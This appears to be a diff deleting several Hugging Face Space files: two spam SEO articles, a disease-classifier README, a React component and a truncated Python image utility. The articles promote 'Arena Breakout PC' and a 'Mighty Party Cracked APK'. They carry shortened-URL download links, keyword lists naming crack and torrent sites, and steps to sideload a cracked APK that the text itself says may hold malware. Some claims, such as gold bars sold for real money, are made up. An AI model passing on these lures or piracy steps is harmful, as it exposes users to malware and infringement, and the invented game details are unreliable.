|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1phancelerku/anime-remove-background/Download Arena Breakout on PC and Escape the Combat Area with Awesome Loot.md
DELETED
@@ -1,102 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>How to Download Arena Breakout PC: A Guide for Gamers</h1>
|
3 |
-
<p>If you are looking for a truly realistic shooter experience set in a grim and gritty future city, you might want to check out Arena Breakout PC. This game is brought to you by the developers of PUBG Mobile, and it promises the same thrilling gunplay and nail-biting mechanics that you've come to expect. But this time around, your goal is to get in and out of the arena with all your gear intact. Sounds exciting? Here's how you can download Arena Breakout PC and play it on your computer.</p>
|
4 |
-
<h2>download arena breakout pc</h2><br /><p><b><b>Download Zip</b> ✪ <a href="https://jinyurl.com/2uNJ3J">https://jinyurl.com/2uNJ3J</a></b></p><br /><br />
|
5 |
-
<h2>What is Arena Breakout PC?</h2>
|
6 |
-
<p>Arena Breakout PC is a next-gen immersive tactical FPS game that is also a first-of-its-kind extraction looter shooter. It pushes the limits of war simulation on mobile devices, and offers a compelling gameplay with persistent characters and high stakes.</p>
|
7 |
-
<h3>A next-gen immersive tactical FPS game</h3>
|
8 |
-
<p>Arena Breakout PC is not your typical FPS game. It features real-time dynamic rendering for realistic light and shadow effects, volumetric cloud technologies, and more than 1,200 sound effects that immerse you in console-quality visuals and audio on mobile. You can also enjoy the game on your PC with enhanced features and performance using an emulator such as BlueStacks or GameLoop.</p>
|
9 |
-
<h3>An extraction looter shooter that pushes the limits of war simulation</h3>
|
10 |
-
<p>Arena Breakout PC is also an extraction looter shooter, which means that you have to shoot, loot, and breakout to win. You can scavenge items and collect awesome loot to upgrade your character with, but anything you pick up is yours forever only if you escape the combat area alive. The hard part is getting it home before someone puts their crosshairs on you.</p>
|
11 |
-
<h3>A game with realistic gunplay, customization, and survival elements</h3>
|
12 |
-
<p>Arena Breakout PC also boasts realistic gunplay, customization, and survival elements that make it more than a simple loot shooter. You can use the advanced gunsmith system to mix and match over 700 gun parts to fit in more than 10 modification slots. You can also manage your hunger, wounds, and limbs to stay alive in the harsh environment. And you can use different strategies to eliminate adversaries head-on, with stealth, or bypass them altogether.</p>
|
13 |
-
<p>download arena breakout pc game<br />
|
14 |
-
arena breakout pc download free<br />
|
15 |
-
how to download arena breakout on pc<br />
|
16 |
-
arena breakout pc game free download<br />
|
17 |
-
download arena breakout for pc windows 10<br />
|
18 |
-
arena breakout pc game download full version<br />
|
19 |
-
arena breakout download pc gameloop<br />
|
20 |
-
download and play arena breakout on pc & mac (emulator)<br />
|
21 |
-
arena breakout pc game download size<br />
|
22 |
-
arena breakout beta download pc<br />
|
23 |
-
download arena breakout android on pc<br />
|
24 |
-
arena breakout pc game download apk<br />
|
25 |
-
descargar arena breakout en pc gameloop oficial<br />
|
26 |
-
arena breakout pc game download bluestacks<br />
|
27 |
-
download arena breakout for pc windows 7<br />
|
28 |
-
arena breakout pc game download utorrent<br />
|
29 |
-
arena breakout download pc noxplayer<br />
|
30 |
-
download and install arena breakout on pc<br />
|
31 |
-
arena breakout pc game download highly compressed<br />
|
32 |
-
download arena breakout for pc windows 8<br />
|
33 |
-
arena breakout pc game download steam<br />
|
34 |
-
arena breakout download pc ldplayer<br />
|
35 |
-
download and run arena breakout on pc<br />
|
36 |
-
arena breakout pc game download crack<br />
|
37 |
-
download arena breakout for pc windows xp<br />
|
38 |
-
arena breakout pc game download ocean of games<br />
|
39 |
-
arena breakout download pc memu play<br />
|
40 |
-
download and setup arena breakout on pc<br />
|
41 |
-
arena breakout pc game download skidrow<br />
|
42 |
-
download arena breakout for pc windows vista<br />
|
43 |
-
arena breakout pc game download igg games<br />
|
44 |
-
arena breakout download pc koplayer<br />
|
45 |
-
download and configure arena breakout on pc<br />
|
46 |
-
arena breakout pc game download fitgirl repack<br />
|
47 |
-
download arena breakout for pc windows 11<br />
|
48 |
-
arena breakout pc game download softonic<br />
|
49 |
-
arena breakout download pc genymotion<br />
|
50 |
-
download and launch arena breakout on pc<br />
|
51 |
-
arena breakout pc game download gog.com<br />
|
52 |
-
download arena breakout for pc linux<br />
|
53 |
-
arena breakout pc game download rarbg.to<br />
|
54 |
-
arena breakout download pc remix os player<br />
|
55 |
-
download and update arena breakpoint on pc <br />
|
56 |
-
arena breakpoint PC game Download torrentz2.eu <br />
|
57 |
-
Download Arena Breakout for PC Mac OS <br />
|
58 |
-
Arena Breakout PC Game Download codexpcgames.com <br />
|
59 |
-
Arena Breakout Download PC Andyroid <br />
|
60 |
-
Download and Stream Arena Breakout on PC <br />
|
61 |
-
Arena Breakout PC Game Download cpy-crack.com</p>
|
62 |
-
<h2>Why play Arena Breakout PC?</h2>
|
63 |
-
<p>There are many reasons why you should play Arena Breakout PC if you are a fan of FPS games. Here are some of them:</p>
|
64 |
-
<h3>Shoot, loot, and breakout to win</h3>
|
65 |
-
<p>If you love shooting games with a twist, you will enjoy Arena Breakout PC. This game is not about being the last one standing, but about being the first one out. You have to shoot your way through enemies, loot valuable items, and breakout from the arena before time runs out. The thrill of escaping with your loot intact is unmatched by any other game.</p>
|
66 |
-
<h3>Escape the combat area alive for a chance to strike it rich</h3>
|
67 |
-
<p>If you love looting games with high rewards, you will love Arena Breakout PC. This game is not about collecting useless items - but about finding rare and valuable loot that can make you rich. You can find weapons, armor, gadgets, and even gold bars that you can sell for real money. But be careful, because the more loot you carry, the more attractive you become to other players who want to take it from you.</p>
|
68 |
-
<h3>Win or lose it all in an all-or-nothing war simulation</h3>
|
69 |
-
<p>If you love risk-taking games with high stakes, you will adore Arena Breakout PC. This game is not about playing it safe, but about going all in. You can choose to enter the arena with your own gear, or rent some from the black market. But remember, anything you bring in or take out is yours only if you survive. If you die, you lose it all. This makes every match a thrilling and tense experience that will keep you on the edge of your seat.</p>
|
70 |
-
<h2>How to download Arena Breakout PC?</h2>
|
71 |
-
<p>Now that you know what Arena Breakout PC is and why you should play it, you might be wondering how to download it and play it on your PC. Well, the process is quite simple and straightforward. Here are the steps you need to follow:</p>
|
72 |
-
<h3>Download an emulator such as BlueStacks or GameLoop</h3>
|
73 |
-
<p>The first thing you need to do is download an emulator that can run Android games on your PC. An emulator is a software that mimics the functions of a mobile device on your computer, allowing you to access apps and games that are otherwise unavailable. There are many emulators out there, but we recommend BlueStacks or GameLoop as they are both reliable and easy to use. You can download them from their official websites for free.</p>
|
74 |
-
<h3>Install Arena Breakout from the emulator's library or search results</h3>
|
75 |
-
<p>The next thing you need to do is install Arena Breakout from the emulator's library or search results. Once you have installed the emulator of your choice, launch it and look for Arena Breakout in its library or search bar. You can also use the Google Play Store app within the emulator to find the game. Once you find it, click on it and follow the instructions to install it on your PC.</p>
|
76 |
-
<h3>Enjoy the game on your PC with enhanced features and performance</h3>
|
77 |
-
<p>The last thing you need to do is enjoy the game on your PC with enhanced features and performance. Once you have installed Arena Breakout on your PC, you can start playing it with a bigger screen, better graphics, and smoother controls. You can also use the emulator's settings to customize your gameplay preferences, such as keyboard mapping, mouse sensitivity, sound volume, and more. You can also record your gameplay, take screenshots, chat with other players, and access other features that are exclusive to the emulator.</p>
|
78 |
-
<h2>Tips and tricks for playing Arena Breakout PC</h2>
|
79 |
-
<p>Now that you know how to download Arena Breakout PC and play it on your computer, you might want some tips and tricks to help you get started and improve your skills. Here are some of them:</p>
|
80 |
-
<h3>Use the advanced gunsmith system to customize your firearm of choice</h3>
|
81 |
-
<p>One of the most important aspects of Arena Breakout PC is the gunsmith system that allows you to customize your firearm of choice with over 700 gun parts. You can mix and match different parts to fit in more than 10 modification slots, such as barrels, stocks, scopes, magazines, grips, muzzles, lasers, flashlights, and more. You can also change the color and appearance of your gun with skins and stickers. The gunsmith system gives you the freedom to create your own unique weapon that suits your playstyle and preferences.</p>
|
82 |
-
<h3>Manage your hunger, wounds, and limbs to stay alive</h3>
|
83 |
-
<p>Another important aspect of Arena Breakout PC is the survival element that requires you to manage your hunger, wounds, and limbs to stay alive. You have to scavenge food and water from the environment or loot them from enemies to keep your hunger level low. You also have to bandage your wounds and heal your limbs with medical supplies or risk bleeding out or losing mobility. The survival element adds a layer of realism and challenge to the game that makes it more immersive and rewarding.</p>
|
84 |
-
<h3>Use different strategies to eliminate adversaries head-on, with stealth, or bypass them altogether</h3>
|
85 |
-
<p>A final important aspect of Arena Breakout PC is the strategy element that allows you to use different tactics to eliminate adversaries head-on, with stealth, - or bypass them altogether. You can choose to engage your enemies in a direct firefight, using cover, grenades, and skills to gain the upper hand. You can also opt for a stealthy approach, using silencers, knives, and distractions to take out your foes quietly. Or you can avoid combat altogether, using camouflage, smoke, and speed to evade detection and escape the arena. The strategy element gives you the option to play the game your way and adapt to different situations.</p>
|
86 |
-
<h2>Conclusion</h2>
|
87 |
-
<p>Arena Breakout PC is a game that will appeal to anyone who loves realistic shooter games with a twist. It offers a next-gen immersive tactical FPS experience that is also an extraction looter shooter that pushes the limits of war simulation. It features realistic gunplay, customization, and survival elements that make it more than a simple loot shooter. It also allows you to use different strategies to eliminate adversaries head-on, with stealth, or bypass them altogether. And it lets you play the game on your PC with enhanced features and performance using an emulator such as BlueStacks or GameLoop.</p>
|
88 |
-
<p>If you are ready to shoot, loot, and breakout to win, download Arena Breakout PC today and enjoy the game on your computer. You won't regret it.</p>
|
89 |
-
<h2>FAQs</h2>
|
90 |
-
<p>Here are some frequently asked questions about Arena Breakout PC:</p>
|
91 |
-
<h3>Is Arena Breakout PC free to play?</h3>
|
92 |
-
<p>Yes, Arena Breakout PC is free to play. You can download it from the Google Play Store or from the emulator's library or search results. You can also play it without spending any real money, as the game does not have any pay-to-win elements. However, you can choose to buy some optional in-game items such as skins, stickers, or gold bars with real money if you want to support the developers or enhance your gameplay experience.</p>
|
93 |
-
<h3>Is Arena Breakout PC online or offline?</h3>
|
94 |
-
<p>Arena Breakout PC is an online game that requires a stable internet connection to play. You can play it solo or with other players in various modes such as solo, duo, squad, or custom. You can also chat with other players using the in-game voice or text chat feature. However, you cannot play it offline or without an internet connection.</p>
|
95 |
-
<h3>Is Arena Breakout PC cross-platform?</h3>
|
96 |
-
<p>Yes, Arena Breakout PC is cross-platform. You can play it with other players who are using different devices such as Android phones, tablets, or PCs. You can also switch between devices without losing your progress or data, as long as you log in with the same account. However, you cannot play it with players who are using iOS devices, as the game is not available on the App Store yet.</p>
|
97 |
-
<h3>How do I update Arena Breakout PC?</h3>
|
98 |
-
<p>To update Arena Breakout PC, you need to follow the same steps as downloading it. You need to launch the emulator of your choice and look for Arena Breakout in its library or search results. You will see an update button next to the game icon if there is a new version available. Click on it and follow the instructions to update the game on your PC.</p>
|
99 |
-
<h3>How do I uninstall Arena Breakout PC?</h3>
|
100 |
-
<p>To uninstall Arena Breakout PC, you need to follow the same steps as installing it. You need to launch the emulator of your choice and look for Arena Breakout in its library or search results. You will see an uninstall button next to the game icon if you want to remove it from your PC. Click on it and follow the instructions to uninstall the game from your PC.</p> 401be4b1e0<br />
|
101 |
-
<br />
|
102 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1phancelerku/anime-remove-background/Experience a New and Exciting Role-Playing Game with Mighty Party Cracked APK.md
DELETED
@@ -1,118 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>Mighty Party Cracked APK: A Turn-Based Strategy RPG with Unlimited Resources</h1>
|
3 |
-
<p>Do you love playing games that challenge your mind and test your skills? Do you enjoy exploring different worlds and collecting various heroes? Do you want to have unlimited resources and access to all the features and content in your favorite game? If you answered yes to any of these questions, then you should try Mighty Party Cracked APK. This is a modified version of the original Mighty Party game that gives you everything you need to have a fun and exciting gaming experience. In this article, we will tell you what Mighty Party is, what Mighty Party Cracked APK is, how to download and install it, and what benefits you can get from using it. Let's get started!</p>
|
4 |
-
<h2>What is Mighty Party?</h2>
|
5 |
-
<p>Mighty Party is a turn-based strategy RPG that combines different game genres and elements. It is a game that lets you create your own team of heroes, fight against other players in epic battles, and climb the ranks in various leagues and tournaments. It is a game that requires you to use your strategy and tactics to win against your opponents. It is also a game that features stunning graphics, amazing sound effects, and engaging storylines. Here are some of the aspects of Mighty Party that make it a unique and enjoyable game:</p>
|
6 |
-
<h2>mighty party cracked apk</h2><br /><p><b><b>DOWNLOAD</b> ✵ <a href="https://jinyurl.com/2uNQbw">https://jinyurl.com/2uNQbw</a></b></p><br /><br />
|
7 |
-
<h3>A game that combines different genres</h3>
|
8 |
-
<p>Mighty Party is not just a typical RPG or strategy game. It is a game that mixes elements from card games, board games, puzzle games, and more. You can collect cards that represent different heroes, each with their own skills and abilities. You can also use dice to determine the outcome of your actions, such as attacking, defending, or moving. You can also solve puzzles and complete quests to earn rewards and unlock new content. Mighty Party is a game that offers you a variety of gameplay modes and options.</p>
|
9 |
-
<h3>A game that features epic battles and heroes</h3>
|
10 |
-
<p>Mighty Party is a game that lets you participate in epic battles against other players from around the world. You can join or create guilds, form alliances, and challenge other teams in real-time PvP matches. You can also compete in tournaments, leagues, and events to win prizes and glory. You can also collect and upgrade hundreds of heroes, each with their own backstory, personality, and appearance. You can customize your team according to your preferences and strategies.</p>
|
11 |
-
<h3>A game that requires strategy and tactics</h3>
|
12 |
-
<p>Mighty Party is a game that tests your strategy and tactics skills. You have to plan your moves carefully, considering the strengths and weaknesses of your heroes, the layout of the board, the effects of the dice, and the actions of your enemies. You have to use your resources wisely, such as mana, gold, gems, and cards. You have to adapt to different situations and scenarios, such as changing weather conditions, random events, and special rules. You have to think fast and act smart to win against your opponents.</p>
|
13 |
-
<h2>What is Mighty Party Cracked APK?</h2>
|
14 |
-
<p>Mighty Party Cracked APK is a modified version of the original Mighty Party game that gives you unlimited resources and unlocks all the features and content in the game. It is a version that lets you enjoy the game without any limitations or restrictions. Here are some of the things that Mighty Party Cracked APK offers you:</p>
|
15 |
-
<h3>A modified version of the original game</h3>
|
16 |
-
<p>Mighty Party Cracked APK is not an official version of the game. It is a version that has been altered by third-party developers to give you more advantages and benefits in the game. It is a version that may not be compatible with the latest updates and patches of the game. It is also a version that may not be safe or secure to use, as it may contain viruses, malware, or spyware. Therefore, you should be careful and cautious when downloading and installing Mighty Party Cracked APK.</p>
|
17 |
-
<h3>A version that gives you unlimited resources</h3>
|
18 |
-
<p>Mighty Party Cracked APK is a version that gives you unlimited resources in the game. You can get unlimited mana, gold, gems, and cards without spending any real money or doing any hard work. You can use these resources to buy, upgrade, and unlock anything you want in the game. You can also use these resources to skip ads, speed up processes, and bypass timers. You can enjoy the game without any interruptions or delays.</p>
|
19 |
-
<h3>A version that unlocks all the features and content</h3>
|
20 |
-
<p>Mighty Party Cracked APK is a version that unlocks all the features and content in the game. You can access all the game modes, levels, events, and quests without any limitations or restrictions. You can also unlock all the heroes, skins, weapons, and items without any requirements or conditions. You can customize your team and your profile according to your preferences and strategies. You can explore and experience everything that the game has to offer.</p>
|
21 |
-
<h2>How to download and install Mighty Party Cracked APK?</h2>
|
22 |
-
<p>If you want to try Mighty Party Cracked APK, you need to follow some steps to download and install it on your device. Here are the steps you need to follow:</p>
|
23 |
-
<p>mighty party mod apk unlimited resources<br />
|
24 |
-
mighty party magic arena hack apk<br />
|
25 |
-
mighty party latest version mod apk<br />
|
26 |
-
mighty party apk mod menu<br />
|
27 |
-
mighty party mod apk android 1<br />
|
28 |
-
download mighty party mod apk 2021<br />
|
29 |
-
mighty party mod apk free shopping<br />
|
30 |
-
mighty party mod apk unlimited gems<br />
|
31 |
-
mighty party mod apk offline<br />
|
32 |
-
mighty party mod apk no root<br />
|
33 |
-
mighty party mod apk unlimited money<br />
|
34 |
-
mighty party mod apk unlimited everything<br />
|
35 |
-
mighty party mod apk rexdl<br />
|
36 |
-
mighty party mod apk revdl<br />
|
37 |
-
mighty party mod apk happymod<br />
|
38 |
-
mighty party mod apk platinmods<br />
|
39 |
-
mighty party mod apk vip unlocked<br />
|
40 |
-
mighty party mod apk god mode<br />
|
41 |
-
mighty party mod apk unlimited coins<br />
|
42 |
-
mighty party mod apk unlimited energy<br />
|
43 |
-
mighty party hack apk download<br />
|
44 |
-
mighty party hack apk 2021<br />
|
45 |
-
mighty party hack apk android<br />
|
46 |
-
mighty party hack apk ios<br />
|
47 |
-
mighty party hack apk latest version<br />
|
48 |
-
how to download mighty party mod apk<br />
|
49 |
-
how to install mighty party mod apk<br />
|
50 |
-
how to play mighty party mod apk<br />
|
51 |
-
how to update mighty party mod apk<br />
|
52 |
-
how to hack mighty party with lucky patcher<br />
|
53 |
-
how to get free gems in mighty party<br />
|
54 |
-
how to get free coins in mighty party<br />
|
55 |
-
how to get free vip in mighty party<br />
|
56 |
-
how to get free heroes in mighty party<br />
|
57 |
-
how to get free chests in mighty party<br />
|
58 |
-
how to get free cards in mighty party<br />
|
59 |
-
how to get free skins in mighty party<br />
|
60 |
-
how to get free rewards in mighty party<br />
|
61 |
-
how to win every battle in mighty party<br />
|
62 |
-
how to level up fast in mighty party<br />
|
63 |
-
best heroes in mighty party 2021<br />
|
64 |
-
best cards in mighty party 2021<br />
|
65 |
-
best decks in mighty party 2021<br />
|
66 |
-
best strategies in mighty party 2021<br />
|
67 |
-
best tips and tricks for mighty party 2021<br />
|
68 |
-
best cheats and hacks for mighty party 2021<br />
|
69 |
-
best websites to download mighty party mod apk 2021<br />
|
70 |
-
best reviews for mighty party mod apk 2021<br />
|
71 |
-
best alternatives for mighty party mod apk 2021</p>
|
72 |
-
<h3>The steps to follow</h3>
|
73 |
-
<ol>
|
74 |
-
<li>Go to a reliable and trustworthy website that offers Mighty Party Cracked APK for download. You can search for such websites on Google or other search engines.</li>
|
75 |
-
<li>Choose the version of Mighty Party Cracked APK that suits your device and your preferences. Make sure that the version is compatible with your device and has the features and content that you want.</li>
|
76 |
-
<li>Click on the download button or link to start downloading Mighty Party Cracked APK on your device. Wait for the download to finish.</li>
|
77 |
-
<li>Go to your device's settings and enable the option to install apps from unknown sources. This will allow you to install Mighty Party Cracked APK on your device.</li>
|
78 |
-
<li>Go to your device's file manager and locate the downloaded Mighty Party Cracked APK file. Tap on it to start installing it on your device. Follow the instructions on the screen to complete the installation.</li>
|
79 |
-
<li>Launch Mighty Party Cracked APK on your device and enjoy the game with unlimited resources and unlocked features and content.</li>
|
80 |
-
</ol>
|
81 |
-
<h3>The precautions to take</h3>
|
82 |
-
<p>While downloading and installing Mighty Party Cracked APK may seem easy and simple, you should also take some precautions to avoid any problems or issues. Here are some of the precautions you should take:</p>
|
83 |
-
<ul>
|
84 |
-
<li>Make sure that you have enough storage space on your device before downloading Mighty Party Cracked APK. The file size may vary depending on the version and the website you choose.</li>
|
85 |
-
<li>Make sure that you have a stable and fast internet connection before downloading Mighty Party Cracked APK. The download speed may vary depending on your network and the website you choose.</li>
|
86 |
-
<li>Make sure that you have a backup of your original Mighty Party game data before installing Mighty Party Cracked APK. You may lose your progress, achievements, and rewards if you overwrite or delete your original game data.</li>
|
87 |
-
<li>Make sure that you have an antivirus or anti-malware software on your device before installing Mighty Party Cracked APK. You may encounter viruses, malware, or spyware that may harm your device or steal your personal information.</li>
|
88 |
-
<li>Make sure that you read the reviews and ratings of other users before downloading Mighty Party Cracked APK from any website. You may find useful information, tips, warnings, or feedback from other users who have tried Mighty Party Cracked APK.</li>
|
89 |
-
</ul>
|
90 |
-
<h3>The benefits of using Mighty Party Cracked APK</h3>
|
91 |
-
<p>Using Mighty Party Cracked APK can give you many benefits in the game. Here are some of the benefits you can get from using Mighty Party Cracked APK:</p>
|
92 |
-
<ul>
|
93 |
-
<li>You can save time and money by getting unlimited resources in the game. You don't have to spend real money or do tedious tasks to get mana, gold, gems, and cards in the game.</li>
|
94 |
-
<li>You can have more fun and excitement by unlocking all the features and content in the game. You don't have to wait or work hard to access all the game modes, levels, events, quests, heroes, skins, weapons, and items in the game.</li>
|
95 |
-
<li>You can have more freedom and flexibility by customizing your team and your profile in the game. You don't have to follow any rules or restrictions to create your own team of heroes, choose your preferred game mode, and set your own goals and strategies.</li>
|
96 |
-
<li>You can have more advantage and edge by using Mighty Party Cracked APK in the game. You don't have to worry about losing or failing against your opponents, as you can use your unlimited resources and unlocked features and content to win every battle and challenge.</li>
|
97 |
-
</ul>
|
98 |
-
<h2>Conclusion</h2>
|
99 |
-
<p>Mighty Party is a turn-based strategy RPG that combines different game genres and elements. It is a game that lets you create your own team of heroes, fight against other players in epic battles, and climb the ranks in various leagues and tournaments. It is a game that requires you to use your strategy and tactics to win against your opponents. It is also a game that features stunning graphics, amazing sound effects, and engaging storylines.</p>
|
100 |
-
<p>Mighty Party Cracked APK is a modified version of the original Mighty Party game that gives you unlimited resources and unlocks all the features and content in the game. It is a version that lets you enjoy the game without any limitations or restrictions. It is a version that may not be compatible with the latest updates and patches of the game. It is also a version that may not be safe or secure to use, as it may contain viruses, malware, or spyware.</p>
|
101 |
-
<p>If you want to try Mighty Party Cracked APK, you need to follow some steps to download and install it on your device. You also need to take some precautions to avoid any problems or issues. You can also get many benefits from using Mighty Party Cracked APK in the game.</p>
|
102 |
-
<p>So, what are you waiting for? Download Mighty Party Cracked APK now and experience the ultimate gaming adventure with unlimited resources and unlocked features and content. Have fun and enjoy!</p>
|
103 |
-
<h3>FAQs</h3>
|
104 |
-
<p>Here are some of the frequently asked questions about Mighty Party Cracked APK:</p>
|
105 |
-
<ol>
|
106 |
-
<li>What is the difference between Mighty Party and Mighty Party Cracked APK?</li>
|
107 |
-
<p>Mighty Party is the original version of the game that you can download from the official app store or website. Mighty Party Cracked APK is a modified version of the game that you can download from third-party websites.</p>
|
108 |
-
<li>Is Mighty Party Cracked APK legal?</li>
|
109 |
-
<p>Mighty Party Cracked APK is not legal, as it violates the terms and conditions of the original game. It also infringes the intellectual property rights of the developers and publishers of the game.</p>
|
110 |
-
<li>Is Mighty Party Cracked APK safe?</li>
|
111 |
-
<p>Mighty Party Cracked APK is not safe, as it may contain viruses, malware, or spyware that may harm your device or steal your personal information. It may also expose you to security risks, such as hacking, phishing, or identity theft.</p>
|
112 |
-
<li>Can I play Mighty Party Cracked APK online?</li>
|
113 |
-
<p>Mighty Party Cracked APK may not work online, as it may not be compatible with the latest updates and patches of the game. It may also be detected and banned by the game servers, as it is considered cheating or hacking.</p>
|
114 |
-
<li>Can I update Mighty Party Cracked APK?</li>
|
115 |
-
<p>Mighty Party Cracked APK may not be updated, as it may not be supported by the original game developers or publishers. It may also lose its functionality or features if it is updated.</p>
|
116 |
-
</ol></p> 197e85843d<br />
|
117 |
-
<br />
|
118 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/30Kanika/disease-classifier/README.md
DELETED
@@ -1,31 +0,0 @@
|
|
1 |
-
---
|
2 |
-
title: Disease Classifier
|
3 |
-
emoji: 🧑🏼⚕️😷
|
4 |
-
colorFrom: gray
|
5 |
-
colorTo: green
|
6 |
-
sdk: streamlit
|
7 |
-
sdk_version: 1.17.0
|
8 |
-
app_file: app.py
|
9 |
-
pinned: false
|
10 |
-
license: apache-2.0
|
11 |
-
---
|
12 |
-
|
13 |
-
|
14 |
-
## Disease_classifier_based_on_symptoms:
|
15 |
-
- #### Disease classification is a ML approach to predict or diagnose the disease using the symptoms.
|
16 |
-
- #### I have used Random Forest Classifier in this project and the UI is created using Streamlit.
|
17 |
-
|
18 |
-
## Links:
|
19 |
-
- #### [Hugging face 🤗](https://huggingface.co/spaces/30Kanika/disease-classifier)
|
20 |
-
- #### [Kaggle dataset 📘](https://www.kaggle.com/datasets/karthikudyawar/disease-symptom-prediction)
|
21 |
-
|
22 |
-
## Steps to use Hugging face:
|
23 |
-
#### STEP 1 -After you open the hugging face link ,it will ask you to enter the symptoms you are facing.
|
24 |
-

|
25 |
-
|
26 |
-
#### STEP 2 -Enter the symptoms.
|
27 |
-

|
28 |
-
|
29 |
-
#### STEP 3 -Click "Detect" button, and it will show the disease name, description of that disease, and what are the precautions for that.
|
30 |
-

|
31 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/7hao/bingo/src/components/learn-more.tsx
DELETED
@@ -1,39 +0,0 @@
|
|
1 |
-
import React from 'react'
|
2 |
-
import { SourceAttribution } from '@/lib/bots/bing/types'
|
3 |
-
|
4 |
-
export interface LearnMoreProps {
|
5 |
-
sourceAttributions?: SourceAttribution[]
|
6 |
-
}
|
7 |
-
|
8 |
-
export function LearnMore({ sourceAttributions }: LearnMoreProps) {
|
9 |
-
if (!sourceAttributions?.length) {
|
10 |
-
return null
|
11 |
-
}
|
12 |
-
|
13 |
-
return (
|
14 |
-
<div className="learn-more-root" role="list" aria-label="了解详细信息:">
|
15 |
-
<div className="learn-more">了解详细信息:</div>
|
16 |
-
<div className="attribution-container">
|
17 |
-
<div className="attribution-items">
|
18 |
-
{sourceAttributions.map((attribution, index) => {
|
19 |
-
const { providerDisplayName, seeMoreUrl } = attribution
|
20 |
-
const { host } = new URL(seeMoreUrl)
|
21 |
-
return (
|
22 |
-
<a
|
23 |
-
key={index}
|
24 |
-
className="attribution-item"
|
25 |
-
target="_blank"
|
26 |
-
role="listitem"
|
27 |
-
href={seeMoreUrl}
|
28 |
-
title={providerDisplayName}
|
29 |
-
tabIndex={index}
|
30 |
-
>
|
31 |
-
{index + 1}. {host}
|
32 |
-
</a>
|
33 |
-
)
|
34 |
-
})}
|
35 |
-
</div>
|
36 |
-
</div>
|
37 |
-
</div>
|
38 |
-
)
|
39 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AIFILMS/StyleGANEX/utils/inference_utils.py
DELETED
@@ -1,182 +0,0 @@
|
|
1 |
-
import numpy as np
|
2 |
-
import matplotlib.pyplot as plt
|
3 |
-
from PIL import Image
|
4 |
-
import cv2
|
5 |
-
import random
|
6 |
-
import math
|
7 |
-
import argparse
|
8 |
-
import torch
|
9 |
-
from torch.utils import data
|
10 |
-
from torch.nn import functional as F
|
11 |
-
from torch import autograd
|
12 |
-
from torch.nn import init
|
13 |
-
import torchvision.transforms as transforms
|
14 |
-
from scripts.align_all_parallel import get_landmark
|
15 |
-
|
16 |
-
def visualize(img_arr, dpi):
|
17 |
-
plt.figure(figsize=(10,10),dpi=dpi)
|
18 |
-
plt.imshow(((img_arr.detach().cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8))
|
19 |
-
plt.axis('off')
|
20 |
-
plt.show()
|
21 |
-
|
22 |
-
def save_image(img, filename):
|
23 |
-
tmp = ((img.detach().cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8)
|
24 |
-
cv2.imwrite(filename, cv2.cvtColor(tmp, cv2.COLOR_RGB2BGR))
|
25 |
-
|
26 |
-
def load_image(filename):
|
27 |
-
transform = transforms.Compose([
|
28 |
-
transforms.ToTensor(),
|
29 |
-
transforms.Normalize(mean=[0.5, 0.5, 0.5],std=[0.5,0.5,0.5]),
|
30 |
-
])
|
31 |
-
|
32 |
-
img = Image.open(filename)
|
33 |
-
img = transform(img)
|
34 |
-
return img.unsqueeze(dim=0)
|
35 |
-
|
36 |
-
def get_video_crop_parameter(filepath, predictor, padding=[256,256,256,256]):
|
37 |
-
if type(filepath) == str:
|
38 |
-
img = dlib.load_rgb_image(filepath)
|
39 |
-
else:
|
40 |
-
img = filepath
|
41 |
-
lm = get_landmark(img, predictor)
|
42 |
-
if lm is None:
|
